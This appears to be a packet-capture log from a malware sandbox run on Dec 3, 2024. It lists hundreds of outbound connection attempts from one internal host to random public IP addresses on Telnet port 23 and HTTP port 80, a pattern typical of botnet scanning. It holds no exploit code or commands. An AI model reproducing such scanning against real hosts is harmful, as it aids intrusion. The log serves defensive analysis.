Dec 3, 2024 21:30:44.085242033 CET	59020	23	192.168.2.23	199.65.116.51
Dec 3, 2024 21:30:44.085244894 CET	59020	23	192.168.2.23	50.189.186.126
Dec 3, 2024 21:30:44.085256100 CET	59020	23	192.168.2.23	143.234.12.90
Dec 3, 2024 21:30:44.085262060 CET	59020	23	192.168.2.23	77.110.131.184
Dec 3, 2024 21:30:44.085264921 CET	59020	23	192.168.2.23	202.166.26.147
Dec 3, 2024 21:30:44.085264921 CET	59020	23	192.168.2.23	61.61.139.251
Dec 3, 2024 21:30:44.085266113 CET	59020	23	192.168.2.23	206.10.103.207
Dec 3, 2024 21:30:44.085264921 CET	59020	23	192.168.2.23	9.100.167.75
Dec 3, 2024 21:30:44.085266113 CET	59020	23	192.168.2.23	58.48.165.204
Dec 3, 2024 21:30:44.085274935 CET	59020	23	192.168.2.23	197.134.63.80
Dec 3, 2024 21:30:44.085283995 CET	59020	23	192.168.2.23	81.150.179.87
Dec 3, 2024 21:30:44.085289001 CET	59020	23	192.168.2.23	161.214.226.173
Dec 3, 2024 21:30:44.085290909 CET	59020	23	192.168.2.23	122.152.166.96
Dec 3, 2024 21:30:44.085290909 CET	59020	23	192.168.2.23	183.249.114.199
Dec 3, 2024 21:30:44.085292101 CET	59020	23	192.168.2.23	137.1.147.225
Dec 3, 2024 21:30:44.085294008 CET	59020	23	192.168.2.23	74.228.87.205
Dec 3, 2024 21:30:44.085294008 CET	59020	23	192.168.2.23	58.0.165.130
Dec 3, 2024 21:30:44.085294008 CET	59020	23	192.168.2.23	116.138.236.247
Dec 3, 2024 21:30:44.085324049 CET	59020	23	192.168.2.23	169.223.41.103
Dec 3, 2024 21:30:44.085336924 CET	59020	23	192.168.2.23	140.166.74.204
Dec 3, 2024 21:30:44.085345030 CET	59020	23	192.168.2.23	88.187.103.231
Dec 3, 2024 21:30:44.085345984 CET	59020	23	192.168.2.23	97.77.205.88
Dec 3, 2024 21:30:44.085350037 CET	59020	23	192.168.2.23	198.230.205.252
Dec 3, 2024 21:30:44.085351944 CET	59020	23	192.168.2.23	49.74.24.24
Dec 3, 2024 21:30:44.085351944 CET	59020	23	192.168.2.23	129.188.157.230
Dec 3, 2024 21:30:44.085366964 CET	59020	23	192.168.2.23	32.225.16.12
Dec 3, 2024 21:30:44.085366964 CET	59020	23	192.168.2.23	115.54.80.219
Dec 3, 2024 21:30:44.085366964 CET	59020	23	192.168.2.23	123.33.71.141
Dec 3, 2024 21:30:44.085366964 CET	59020	23	192.168.2.23	198.62.213.245
Dec 3, 2024 21:30:44.085367918 CET	59020	23	192.168.2.23	90.218.66.156
Dec 3, 2024 21:30:44.085366964 CET	59020	23	192.168.2.23	40.131.60.189
Dec 3, 2024 21:30:44.085371971 CET	59020	23	192.168.2.23	27.223.31.234
Dec 3, 2024 21:30:44.085375071 CET	59020	23	192.168.2.23	43.88.64.121
Dec 3, 2024 21:30:44.085375071 CET	59020	23	192.168.2.23	143.130.15.193
Dec 3, 2024 21:30:44.085381985 CET	59020	23	192.168.2.23	154.239.180.110
Dec 3, 2024 21:30:44.085391045 CET	59020	23	192.168.2.23	138.208.208.20
Dec 3, 2024 21:30:44.085395098 CET	59020	23	192.168.2.23	95.52.41.210
Dec 3, 2024 21:30:44.085396051 CET	59020	23	192.168.2.23	145.186.91.36
Dec 3, 2024 21:30:44.085395098 CET	59020	23	192.168.2.23	212.76.13.74
Dec 3, 2024 21:30:44.085419893 CET	59020	23	192.168.2.23	69.247.220.11
Dec 3, 2024 21:30:44.085419893 CET	59020	23	192.168.2.23	73.252.217.153
Dec 3, 2024 21:30:44.085421085 CET	59020	23	192.168.2.23	172.243.83.128
Dec 3, 2024 21:30:44.085423946 CET	59020	23	192.168.2.23	169.14.107.71
Dec 3, 2024 21:30:44.085428953 CET	59020	23	192.168.2.23	158.130.210.210
Dec 3, 2024 21:30:44.085443020 CET	59020	23	192.168.2.23	129.224.235.232
Dec 3, 2024 21:30:44.085447073 CET	59020	23	192.168.2.23	133.66.14.68
Dec 3, 2024 21:30:44.085458040 CET	59020	23	192.168.2.23	14.177.42.81
Dec 3, 2024 21:30:44.085458040 CET	59020	23	192.168.2.23	35.157.154.112
Dec 3, 2024 21:30:44.085465908 CET	59020	23	192.168.2.23	24.4.125.7
Dec 3, 2024 21:30:44.085465908 CET	59020	23	192.168.2.23	83.254.22.71
Dec 3, 2024 21:30:44.085473061 CET	59020	23	192.168.2.23	151.129.232.21
Dec 3, 2024 21:30:44.085480928 CET	59020	23	192.168.2.23	147.37.21.153
Dec 3, 2024 21:30:44.085480928 CET	59020	23	192.168.2.23	35.16.20.244
Dec 3, 2024 21:30:44.085490942 CET	59020	23	192.168.2.23	137.173.179.119
Dec 3, 2024 21:30:44.085490942 CET	59020	23	192.168.2.23	82.197.149.11
Dec 3, 2024 21:30:44.085490942 CET	59020	23	192.168.2.23	219.198.30.91
Dec 3, 2024 21:30:44.085501909 CET	59020	23	192.168.2.23	98.97.228.113
Dec 3, 2024 21:30:44.085501909 CET	59020	23	192.168.2.23	17.68.155.41
Dec 3, 2024 21:30:44.085501909 CET	59020	23	192.168.2.23	148.104.123.71
Dec 3, 2024 21:30:44.085505962 CET	59020	23	192.168.2.23	187.241.238.33
Dec 3, 2024 21:30:44.085505962 CET	59020	23	192.168.2.23	175.77.199.66
Dec 3, 2024 21:30:44.085505962 CET	59020	23	192.168.2.23	206.122.142.132
Dec 3, 2024 21:30:44.085515976 CET	59020	23	192.168.2.23	41.4.134.131
Dec 3, 2024 21:30:44.085515976 CET	59020	23	192.168.2.23	47.218.51.229
Dec 3, 2024 21:30:44.085516930 CET	59020	23	192.168.2.23	34.166.63.112
Dec 3, 2024 21:30:44.085530043 CET	59020	23	192.168.2.23	5.1.202.163
Dec 3, 2024 21:30:44.085532904 CET	59020	23	192.168.2.23	151.40.186.39
Dec 3, 2024 21:30:44.085537910 CET	59020	23	192.168.2.23	45.213.183.51
Dec 3, 2024 21:30:44.085537910 CET	59020	23	192.168.2.23	64.130.7.84
Dec 3, 2024 21:30:44.085537910 CET	59020	23	192.168.2.23	101.27.44.211
Dec 3, 2024 21:30:44.085546970 CET	59020	23	192.168.2.23	52.244.75.223
Dec 3, 2024 21:30:44.085549116 CET	59020	23	192.168.2.23	79.138.190.129
Dec 3, 2024 21:30:44.085550070 CET	59020	23	192.168.2.23	108.215.180.7
Dec 3, 2024 21:30:44.085556984 CET	59020	23	192.168.2.23	184.32.50.80
Dec 3, 2024 21:30:44.085556984 CET	59020	23	192.168.2.23	142.190.74.123
Dec 3, 2024 21:30:44.085558891 CET	59020	23	192.168.2.23	157.114.250.105
Dec 3, 2024 21:30:44.085568905 CET	59020	23	192.168.2.23	159.137.202.188
Dec 3, 2024 21:30:44.085568905 CET	59020	23	192.168.2.23	179.100.71.179
Dec 3, 2024 21:30:44.085581064 CET	59020	23	192.168.2.23	190.153.5.107
Dec 3, 2024 21:30:44.085581064 CET	59020	23	192.168.2.23	38.213.246.143
Dec 3, 2024 21:30:44.085589886 CET	59020	23	192.168.2.23	209.199.103.248
Dec 3, 2024 21:30:44.085589886 CET	59020	23	192.168.2.23	104.253.160.30
Dec 3, 2024 21:30:44.085589886 CET	59020	23	192.168.2.23	72.48.1.18
Dec 3, 2024 21:30:44.085597038 CET	59020	23	192.168.2.23	86.239.203.32
Dec 3, 2024 21:30:44.085599899 CET	59020	23	192.168.2.23	48.3.12.181
Dec 3, 2024 21:30:44.085599899 CET	59020	23	192.168.2.23	90.108.163.252
Dec 3, 2024 21:30:44.085616112 CET	59020	23	192.168.2.23	201.212.165.15
Dec 3, 2024 21:30:44.085623980 CET	59020	23	192.168.2.23	34.240.125.159
Dec 3, 2024 21:30:44.085623980 CET	59020	23	192.168.2.23	186.161.56.205
Dec 3, 2024 21:30:44.085624933 CET	59020	23	192.168.2.23	135.197.201.70
Dec 3, 2024 21:30:44.085627079 CET	59020	23	192.168.2.23	73.158.97.191
Dec 3, 2024 21:30:44.085630894 CET	59020	23	192.168.2.23	196.42.3.149
Dec 3, 2024 21:30:44.085633039 CET	59020	23	192.168.2.23	116.102.182.133
Dec 3, 2024 21:30:44.085637093 CET	59020	23	192.168.2.23	174.6.94.146
Dec 3, 2024 21:30:44.085639954 CET	59020	23	192.168.2.23	121.219.89.214
Dec 3, 2024 21:30:44.085639954 CET	59020	23	192.168.2.23	4.68.49.60
Dec 3, 2024 21:30:44.085650921 CET	59020	23	192.168.2.23	92.69.204.132
Dec 3, 2024 21:30:44.085655928 CET	59020	23	192.168.2.23	181.38.84.23
Dec 3, 2024 21:30:44.085655928 CET	59020	23	192.168.2.23	23.166.27.15
Dec 3, 2024 21:30:44.085661888 CET	59020	23	192.168.2.23	184.225.189.9
Dec 3, 2024 21:30:44.085663080 CET	59020	23	192.168.2.23	194.55.139.63
Dec 3, 2024 21:30:44.085675001 CET	59020	23	192.168.2.23	98.206.178.7
Dec 3, 2024 21:30:44.085685968 CET	59020	23	192.168.2.23	81.122.105.212
Dec 3, 2024 21:30:44.085685968 CET	59020	23	192.168.2.23	169.95.207.140
Dec 3, 2024 21:30:44.085689068 CET	59020	23	192.168.2.23	207.49.89.144
Dec 3, 2024 21:30:44.085702896 CET	59020	23	192.168.2.23	9.59.15.12
Dec 3, 2024 21:30:44.085705042 CET	59020	23	192.168.2.23	134.178.123.74
Dec 3, 2024 21:30:44.085705042 CET	59020	23	192.168.2.23	182.19.179.78
Dec 3, 2024 21:30:44.085707903 CET	59020	23	192.168.2.23	59.25.66.249
Dec 3, 2024 21:30:44.085707903 CET	59020	23	192.168.2.23	144.101.227.202
Dec 3, 2024 21:30:44.085716963 CET	59020	23	192.168.2.23	75.197.173.43
Dec 3, 2024 21:30:44.085721016 CET	59020	23	192.168.2.23	222.108.23.93
Dec 3, 2024 21:30:44.085722923 CET	59020	23	192.168.2.23	118.75.89.195
Dec 3, 2024 21:30:44.085722923 CET	59020	23	192.168.2.23	122.126.114.85
Dec 3, 2024 21:30:44.085724115 CET	59020	23	192.168.2.23	203.92.144.12
Dec 3, 2024 21:30:44.085736990 CET	59020	23	192.168.2.23	113.82.193.89
Dec 3, 2024 21:30:44.085736990 CET	59020	23	192.168.2.23	97.186.62.205
Dec 3, 2024 21:30:44.085742950 CET	59020	23	192.168.2.23	195.215.24.162
Dec 3, 2024 21:30:44.085742950 CET	59020	23	192.168.2.23	17.244.7.127
Dec 3, 2024 21:30:44.085747957 CET	59020	23	192.168.2.23	157.103.125.32
Dec 3, 2024 21:30:44.085750103 CET	59020	23	192.168.2.23	64.143.235.160
Dec 3, 2024 21:30:44.085757971 CET	59020	23	192.168.2.23	104.129.166.65
Dec 3, 2024 21:30:44.085758924 CET	59020	23	192.168.2.23	210.21.103.50
Dec 3, 2024 21:30:44.085767031 CET	59020	23	192.168.2.23	216.16.4.30
Dec 3, 2024 21:30:44.085767984 CET	59020	23	192.168.2.23	85.210.220.105
Dec 3, 2024 21:30:44.085767984 CET	59020	23	192.168.2.23	154.174.166.207
Dec 3, 2024 21:30:44.085769892 CET	59020	23	192.168.2.23	178.206.168.220
Dec 3, 2024 21:30:44.085769892 CET	59020	23	192.168.2.23	174.47.177.121
Dec 3, 2024 21:30:44.085772038 CET	59020	23	192.168.2.23	82.88.160.35
Dec 3, 2024 21:30:44.085772991 CET	59020	23	192.168.2.23	84.226.176.165
Dec 3, 2024 21:30:44.085792065 CET	59020	23	192.168.2.23	49.29.9.44
Dec 3, 2024 21:30:44.085793972 CET	59020	23	192.168.2.23	64.171.107.136
Dec 3, 2024 21:30:44.085793972 CET	59020	23	192.168.2.23	75.24.193.242
Dec 3, 2024 21:30:44.085794926 CET	59020	23	192.168.2.23	50.66.112.173
Dec 3, 2024 21:30:44.085794926 CET	59020	23	192.168.2.23	86.47.161.27
Dec 3, 2024 21:30:44.085799932 CET	59020	23	192.168.2.23	200.130.195.14
Dec 3, 2024 21:30:44.085800886 CET	59020	23	192.168.2.23	131.59.108.54
Dec 3, 2024 21:30:44.085807085 CET	59020	23	192.168.2.23	4.87.102.168
Dec 3, 2024 21:30:44.085808992 CET	59020	23	192.168.2.23	61.53.229.19
Dec 3, 2024 21:30:44.085820913 CET	59020	23	192.168.2.23	8.101.10.131
Dec 3, 2024 21:30:44.085823059 CET	59020	23	192.168.2.23	211.58.190.213
Dec 3, 2024 21:30:44.085823059 CET	59020	23	192.168.2.23	69.126.94.169
Dec 3, 2024 21:30:44.085824966 CET	59020	23	192.168.2.23	81.249.116.56
Dec 3, 2024 21:30:44.085823059 CET	59020	23	192.168.2.23	37.143.112.91
Dec 3, 2024 21:30:44.085839033 CET	59020	23	192.168.2.23	191.69.213.18
Dec 3, 2024 21:30:44.085841894 CET	59020	23	192.168.2.23	182.101.141.168
Dec 3, 2024 21:30:44.085843086 CET	59020	23	192.168.2.23	106.28.250.120
Dec 3, 2024 21:30:44.085841894 CET	59020	23	192.168.2.23	95.86.208.121
Dec 3, 2024 21:30:44.085846901 CET	59020	23	192.168.2.23	200.103.102.20
Dec 3, 2024 21:30:44.085850000 CET	59020	23	192.168.2.23	114.44.203.24
Dec 3, 2024 21:30:44.085850000 CET	59020	23	192.168.2.23	150.30.4.217
Dec 3, 2024 21:30:44.085855961 CET	59020	23	192.168.2.23	219.161.236.98
Dec 3, 2024 21:30:44.085856915 CET	59020	23	192.168.2.23	137.3.238.103
Dec 3, 2024 21:30:44.085856915 CET	59020	23	192.168.2.23	212.190.57.209
Dec 3, 2024 21:30:44.085860014 CET	59020	23	192.168.2.23	113.203.6.39
Dec 3, 2024 21:30:44.085860014 CET	59020	23	192.168.2.23	25.127.32.5
Dec 3, 2024 21:30:44.085866928 CET	59020	23	192.168.2.23	168.196.205.165
Dec 3, 2024 21:30:44.085869074 CET	59020	23	192.168.2.23	117.2.71.10
Dec 3, 2024 21:30:44.085875034 CET	59020	23	192.168.2.23	186.80.140.1
Dec 3, 2024 21:30:44.085875034 CET	59020	23	192.168.2.23	63.182.80.134
Dec 3, 2024 21:30:44.085875988 CET	59020	23	192.168.2.23	129.140.28.19
Dec 3, 2024 21:30:44.085884094 CET	59020	23	192.168.2.23	146.45.252.121
Dec 3, 2024 21:30:44.085895061 CET	59020	23	192.168.2.23	191.114.239.72
Dec 3, 2024 21:30:44.085899115 CET	59020	23	192.168.2.23	216.162.167.44
Dec 3, 2024 21:30:44.085901976 CET	59020	23	192.168.2.23	163.242.68.229
Dec 3, 2024 21:30:44.085901976 CET	59020	23	192.168.2.23	96.255.8.3
Dec 3, 2024 21:30:44.085906029 CET	59020	23	192.168.2.23	142.23.13.104
Dec 3, 2024 21:30:44.085906982 CET	59020	23	192.168.2.23	145.44.251.189
Dec 3, 2024 21:30:44.085923910 CET	59020	23	192.168.2.23	172.51.157.104
Dec 3, 2024 21:30:44.085926056 CET	59020	23	192.168.2.23	140.177.16.148
Dec 3, 2024 21:30:44.085923910 CET	59020	23	192.168.2.23	69.106.131.41
Dec 3, 2024 21:30:44.085931063 CET	59020	23	192.168.2.23	108.55.103.44
Dec 3, 2024 21:30:44.085933924 CET	59020	23	192.168.2.23	116.84.168.230
Dec 3, 2024 21:30:44.085933924 CET	59020	23	192.168.2.23	136.41.115.238
Dec 3, 2024 21:30:44.085933924 CET	59020	23	192.168.2.23	175.78.6.121
Dec 3, 2024 21:30:44.085936069 CET	59020	23	192.168.2.23	213.81.59.242
Dec 3, 2024 21:30:44.085937977 CET	59020	23	192.168.2.23	165.144.137.103
Dec 3, 2024 21:30:44.085947037 CET	59020	23	192.168.2.23	189.3.215.88
Dec 3, 2024 21:30:44.085952044 CET	59020	23	192.168.2.23	78.75.172.68
Dec 3, 2024 21:30:44.085954905 CET	59020	23	192.168.2.23	128.242.108.1
Dec 3, 2024 21:30:44.085958004 CET	59020	23	192.168.2.23	85.127.90.232
Dec 3, 2024 21:30:44.085963964 CET	59020	23	192.168.2.23	37.79.243.62
Dec 3, 2024 21:30:44.085978031 CET	59020	23	192.168.2.23	221.101.123.158
Dec 3, 2024 21:30:44.085978031 CET	59020	23	192.168.2.23	130.114.246.183
Dec 3, 2024 21:30:44.085980892 CET	59020	23	192.168.2.23	12.150.187.100
Dec 3, 2024 21:30:44.085982084 CET	59020	23	192.168.2.23	96.64.185.126
Dec 3, 2024 21:30:44.085994005 CET	59020	23	192.168.2.23	133.188.98.80
Dec 3, 2024 21:30:44.085998058 CET	59020	23	192.168.2.23	95.88.148.100
Dec 3, 2024 21:30:44.086014032 CET	59020	23	192.168.2.23	86.8.88.167
Dec 3, 2024 21:30:44.086014032 CET	59020	23	192.168.2.23	203.54.197.119
Dec 3, 2024 21:30:44.086019993 CET	59020	23	192.168.2.23	114.98.232.226
Dec 3, 2024 21:30:44.086019993 CET	59020	23	192.168.2.23	213.198.41.64
Dec 3, 2024 21:30:44.086019993 CET	59020	23	192.168.2.23	158.67.44.168
Dec 3, 2024 21:30:44.086021900 CET	59020	23	192.168.2.23	82.217.254.137
Dec 3, 2024 21:30:44.086026907 CET	59020	23	192.168.2.23	94.41.52.120
Dec 3, 2024 21:30:44.086028099 CET	59020	23	192.168.2.23	167.222.170.217
Dec 3, 2024 21:30:44.086028099 CET	59020	23	192.168.2.23	90.104.250.253
Dec 3, 2024 21:30:44.107357979 CET	59010	80	192.168.2.23	171.78.11.150
Dec 3, 2024 21:30:44.107364893 CET	59010	80	192.168.2.23	89.173.214.49
Dec 3, 2024 21:30:44.107367039 CET	59010	80	192.168.2.23	13.0.103.224
Dec 3, 2024 21:30:44.107367039 CET	59010	80	192.168.2.23	50.144.78.232
Dec 3, 2024 21:30:44.107376099 CET	59010	80	192.168.2.23	60.26.20.160
Dec 3, 2024 21:30:44.107378006 CET	59010	80	192.168.2.23	177.201.89.255
Dec 3, 2024 21:30:44.107376099 CET	59010	80	192.168.2.23	73.199.77.253
Dec 3, 2024 21:30:44.107376099 CET	59010	80	192.168.2.23	152.2.181.30
Dec 3, 2024 21:30:44.107383013 CET	59010	80	192.168.2.23	54.75.90.55
Dec 3, 2024 21:30:44.107393980 CET	59010	80	192.168.2.23	196.60.34.5
Dec 3, 2024 21:30:44.107397079 CET	59010	80	192.168.2.23	151.17.44.110
Dec 3, 2024 21:30:44.107398987 CET	59010	80	192.168.2.23	38.100.236.11
Dec 3, 2024 21:30:44.107399940 CET	59010	80	192.168.2.23	96.26.57.177
Dec 3, 2024 21:30:44.107399940 CET	59010	80	192.168.2.23	159.109.106.159
Dec 3, 2024 21:30:44.107404947 CET	59010	80	192.168.2.23	213.19.68.29
Dec 3, 2024 21:30:44.107415915 CET	59010	80	192.168.2.23	222.53.49.96
Dec 3, 2024 21:30:44.107422113 CET	59010	80	192.168.2.23	52.133.243.41
Dec 3, 2024 21:30:44.107422113 CET	59010	80	192.168.2.23	27.247.67.195
Dec 3, 2024 21:30:44.107422113 CET	59010	80	192.168.2.23	158.62.106.7
Dec 3, 2024 21:30:44.107434034 CET	59010	80	192.168.2.23	4.189.141.61
Dec 3, 2024 21:30:44.107434034 CET	59010	80	192.168.2.23	129.37.244.206
Dec 3, 2024 21:30:44.107434988 CET	59010	80	192.168.2.23	105.65.193.124
Dec 3, 2024 21:30:44.107440948 CET	59010	80	192.168.2.23	126.213.43.34
Dec 3, 2024 21:30:44.107440948 CET	59010	80	192.168.2.23	189.113.134.40
Dec 3, 2024 21:30:44.107450008 CET	59010	80	192.168.2.23	43.45.244.234
Dec 3, 2024 21:30:44.107450008 CET	59010	80	192.168.2.23	203.83.244.202
Dec 3, 2024 21:30:44.107451916 CET	59010	80	192.168.2.23	79.61.137.54
Dec 3, 2024 21:30:44.107455969 CET	59010	80	192.168.2.23	105.52.5.181
Dec 3, 2024 21:30:44.107470036 CET	59010	80	192.168.2.23	90.53.186.50
Dec 3, 2024 21:30:44.107475042 CET	59010	80	192.168.2.23	128.93.62.172
Dec 3, 2024 21:30:44.107475042 CET	59010	80	192.168.2.23	94.0.144.20
Dec 3, 2024 21:30:44.107475042 CET	59010	80	192.168.2.23	162.215.5.146
Dec 3, 2024 21:30:44.107475042 CET	59010	80	192.168.2.23	146.10.169.96
Dec 3, 2024 21:30:44.107475042 CET	59010	80	192.168.2.23	178.130.16.73
Dec 3, 2024 21:30:44.107481956 CET	59010	80	192.168.2.23	157.235.48.230
Dec 3, 2024 21:30:44.107481956 CET	59010	80	192.168.2.23	138.14.169.107
Dec 3, 2024 21:30:44.107496023 CET	59010	80	192.168.2.23	206.55.118.69
Dec 3, 2024 21:30:44.107498884 CET	59010	80	192.168.2.23	90.239.76.68
Dec 3, 2024 21:30:44.107506037 CET	59010	80	192.168.2.23	196.63.215.4
Dec 3, 2024 21:30:44.107506037 CET	59010	80	192.168.2.23	223.182.124.61
Dec 3, 2024 21:30:44.107511044 CET	59010	80	192.168.2.23	59.65.90.198
Dec 3, 2024 21:30:44.107511044 CET	59010	80	192.168.2.23	84.199.57.33
Dec 3, 2024 21:30:44.107513905 CET	59010	80	192.168.2.23	17.132.11.134
Dec 3, 2024 21:30:44.107515097 CET	59010	80	192.168.2.23	180.151.13.58
Dec 3, 2024 21:30:44.107513905 CET	59010	80	192.168.2.23	98.177.6.37
Dec 3, 2024 21:30:44.107515097 CET	59010	80	192.168.2.23	123.65.27.146
Dec 3, 2024 21:30:44.107525110 CET	59010	80	192.168.2.23	42.5.193.169
Dec 3, 2024 21:30:44.107525110 CET	59010	80	192.168.2.23	213.255.112.112
Dec 3, 2024 21:30:44.107532024 CET	59010	80	192.168.2.23	217.52.240.137
Dec 3, 2024 21:30:44.107534885 CET	59010	80	192.168.2.23	160.189.68.204
Dec 3, 2024 21:30:44.107534885 CET	59010	80	192.168.2.23	154.35.111.101
Dec 3, 2024 21:30:44.107543945 CET	59010	80	192.168.2.23	178.152.45.106
Dec 3, 2024 21:30:44.107544899 CET	59010	80	192.168.2.23	162.238.22.75
Dec 3, 2024 21:30:44.107547998 CET	59010	80	192.168.2.23	72.255.50.162
Dec 3, 2024 21:30:44.107549906 CET	59010	80	192.168.2.23	69.58.120.196
Dec 3, 2024 21:30:44.107563972 CET	59010	80	192.168.2.23	164.198.87.171
Dec 3, 2024 21:30:44.107566118 CET	59010	80	192.168.2.23	37.137.229.211
Dec 3, 2024 21:30:44.107566118 CET	59010	80	192.168.2.23	131.186.120.96
Dec 3, 2024 21:30:44.107566118 CET	59010	80	192.168.2.23	218.9.214.213
Dec 3, 2024 21:30:44.107575893 CET	59010	80	192.168.2.23	217.165.98.222
Dec 3, 2024 21:30:44.107580900 CET	59010	80	192.168.2.23	196.62.10.183
Dec 3, 2024 21:30:44.107583046 CET	59010	80	192.168.2.23	207.202.229.51
Dec 3, 2024 21:30:44.107584953 CET	59010	80	192.168.2.23	173.69.98.144
Dec 3, 2024 21:30:44.107599974 CET	59010	80	192.168.2.23	185.52.174.225
Dec 3, 2024 21:30:44.107604980 CET	59010	80	192.168.2.23	71.228.14.253
Dec 3, 2024 21:30:44.107604980 CET	59010	80	192.168.2.23	154.194.0.130
Dec 3, 2024 21:30:44.107605934 CET	59010	80	192.168.2.23	135.130.62.140
Dec 3, 2024 21:30:44.107620955 CET	59010	80	192.168.2.23	74.99.179.91
Dec 3, 2024 21:30:44.107620955 CET	59010	80	192.168.2.23	38.194.31.229
Dec 3, 2024 21:30:44.107620955 CET	59010	80	192.168.2.23	94.162.121.121
Dec 3, 2024 21:30:44.107620955 CET	59010	80	192.168.2.23	68.158.74.16
Dec 3, 2024 21:30:44.107628107 CET	59010	80	192.168.2.23	99.22.118.207
Dec 3, 2024 21:30:44.107629061 CET	59010	80	192.168.2.23	92.238.192.217
Dec 3, 2024 21:30:44.107629061 CET	59010	80	192.168.2.23	36.227.251.213
Dec 3, 2024 21:30:44.107635021 CET	59010	80	192.168.2.23	50.197.79.107
Dec 3, 2024 21:30:44.107635975 CET	59010	80	192.168.2.23	118.108.151.36
Dec 3, 2024 21:30:44.107646942 CET	59010	80	192.168.2.23	66.155.68.191
Dec 3, 2024 21:30:44.107650995 CET	59010	80	192.168.2.23	96.197.121.79
Dec 3, 2024 21:30:44.107651949 CET	59010	80	192.168.2.23	184.120.134.85
Dec 3, 2024 21:30:44.107651949 CET	59010	80	192.168.2.23	130.62.74.230
Dec 3, 2024 21:30:44.107661009 CET	59010	80	192.168.2.23	63.55.11.192
Dec 3, 2024 21:30:44.107661009 CET	59010	80	192.168.2.23	149.119.172.221
Dec 3, 2024 21:30:44.107661963 CET	59010	80	192.168.2.23	41.2.4.114
Dec 3, 2024 21:30:44.107661009 CET	59010	80	192.168.2.23	44.132.22.59
Dec 3, 2024 21:30:44.107665062 CET	59010	80	192.168.2.23	106.195.55.42
Dec 3, 2024 21:30:44.107671022 CET	59010	80	192.168.2.23	150.42.96.4
Dec 3, 2024 21:30:44.107673883 CET	59010	80	192.168.2.23	84.133.146.165
Dec 3, 2024 21:30:44.107678890 CET	59010	80	192.168.2.23	203.153.134.96
Dec 3, 2024 21:30:44.107681036 CET	59010	80	192.168.2.23	120.72.200.13
Dec 3, 2024 21:30:44.107690096 CET	59010	80	192.168.2.23	183.108.150.163
Dec 3, 2024 21:30:44.107695103 CET	59010	80	192.168.2.23	139.50.195.129
Dec 3, 2024 21:30:44.107707977 CET	59010	80	192.168.2.23	217.138.183.182
Dec 3, 2024 21:30:44.107711077 CET	59010	80	192.168.2.23	206.197.194.170
Dec 3, 2024 21:30:44.107711077 CET	59010	80	192.168.2.23	8.198.220.244
Dec 3, 2024 21:30:44.107712030 CET	59010	80	192.168.2.23	207.154.83.131
Dec 3, 2024 21:30:44.107711077 CET	59010	80	192.168.2.23	115.144.156.253
Dec 3, 2024 21:30:44.107712030 CET	59010	80	192.168.2.23	83.129.197.22
Dec 3, 2024 21:30:44.107757092 CET	59010	80	192.168.2.23	172.78.159.174
Dec 3, 2024 21:30:44.107759953 CET	59010	80	192.168.2.23	180.154.145.154
Dec 3, 2024 21:30:44.107763052 CET	59010	80	192.168.2.23	172.130.79.86
Dec 3, 2024 21:30:44.107763052 CET	59010	80	192.168.2.23	141.211.49.204
Dec 3, 2024 21:30:44.107763052 CET	59010	80	192.168.2.23	124.126.11.110
Dec 3, 2024 21:30:44.107772112 CET	59010	80	192.168.2.23	113.83.224.189
Dec 3, 2024 21:30:44.107780933 CET	59010	80	192.168.2.23	41.111.242.235
Dec 3, 2024 21:30:44.107781887 CET	59010	80	192.168.2.23	2.50.171.68
Dec 3, 2024 21:30:44.107784033 CET	59010	80	192.168.2.23	193.227.149.61
Dec 3, 2024 21:30:44.107784033 CET	59010	80	192.168.2.23	144.207.223.136
Dec 3, 2024 21:30:44.107791901 CET	59010	80	192.168.2.23	92.73.218.87
Dec 3, 2024 21:30:44.107800007 CET	59010	80	192.168.2.23	161.160.109.199
Dec 3, 2024 21:30:44.107804060 CET	59010	80	192.168.2.23	73.142.233.158
Dec 3, 2024 21:30:44.107810020 CET	59010	80	192.168.2.23	39.72.170.170
Dec 3, 2024 21:30:44.107815981 CET	59010	80	192.168.2.23	49.203.239.30
Dec 3, 2024 21:30:44.107820988 CET	59010	80	192.168.2.23	86.27.76.22
Dec 3, 2024 21:30:44.107821941 CET	59010	80	192.168.2.23	129.173.44.193
Dec 3, 2024 21:30:44.107821941 CET	59010	80	192.168.2.23	118.141.244.32
Dec 3, 2024 21:30:44.107822895 CET	59010	80	192.168.2.23	20.121.96.68
Dec 3, 2024 21:30:44.107822895 CET	59010	80	192.168.2.23	130.241.78.51
Dec 3, 2024 21:30:44.107822895 CET	59010	80	192.168.2.23	164.162.91.50
Dec 3, 2024 21:30:44.107825041 CET	59010	80	192.168.2.23	103.157.224.176
Dec 3, 2024 21:30:44.107836962 CET	59010	80	192.168.2.23	197.93.220.117
Dec 3, 2024 21:30:44.107842922 CET	59010	80	192.168.2.23	128.38.190.84
Dec 3, 2024 21:30:44.107846022 CET	59010	80	192.168.2.23	23.182.18.97
Dec 3, 2024 21:30:44.107846975 CET	59010	80	192.168.2.23	221.208.172.126
Dec 3, 2024 21:30:44.107846975 CET	59010	80	192.168.2.23	222.194.123.63
Dec 3, 2024 21:30:44.107855082 CET	59010	80	192.168.2.23	45.155.47.235
Dec 3, 2024 21:30:44.107855082 CET	59010	80	192.168.2.23	136.20.180.240
Dec 3, 2024 21:30:44.107855082 CET	59010	80	192.168.2.23	34.117.183.130
Dec 3, 2024 21:30:44.107865095 CET	59010	80	192.168.2.23	60.38.34.198
Dec 3, 2024 21:30:44.107872963 CET	59010	80	192.168.2.23	196.21.23.3
Dec 3, 2024 21:30:44.107872963 CET	59010	80	192.168.2.23	61.12.32.63
Dec 3, 2024 21:30:44.107873917 CET	59010	80	192.168.2.23	133.189.150.156
Dec 3, 2024 21:30:44.107887983 CET	59010	80	192.168.2.23	63.202.20.38
Dec 3, 2024 21:30:44.107894897 CET	59010	80	192.168.2.23	146.103.222.247
Dec 3, 2024 21:30:44.107896090 CET	59010	80	192.168.2.23	194.251.159.144
Dec 3, 2024 21:30:44.107898951 CET	59010	80	192.168.2.23	187.203.233.237
Dec 3, 2024 21:30:44.107898951 CET	59010	80	192.168.2.23	180.221.72.70
Dec 3, 2024 21:30:44.107899904 CET	59010	80	192.168.2.23	24.210.142.147
Dec 3, 2024 21:30:44.107903004 CET	59010	80	192.168.2.23	40.33.93.61
Dec 3, 2024 21:30:44.107913971 CET	59010	80	192.168.2.23	38.70.181.167
Dec 3, 2024 21:30:44.107923031 CET	59010	80	192.168.2.23	72.110.91.151
Dec 3, 2024 21:30:44.107923031 CET	59010	80	192.168.2.23	14.134.98.232
Dec 3, 2024 21:30:44.107923031 CET	59010	80	192.168.2.23	167.74.121.120
Dec 3, 2024 21:30:44.107927084 CET	59010	80	192.168.2.23	97.183.161.170
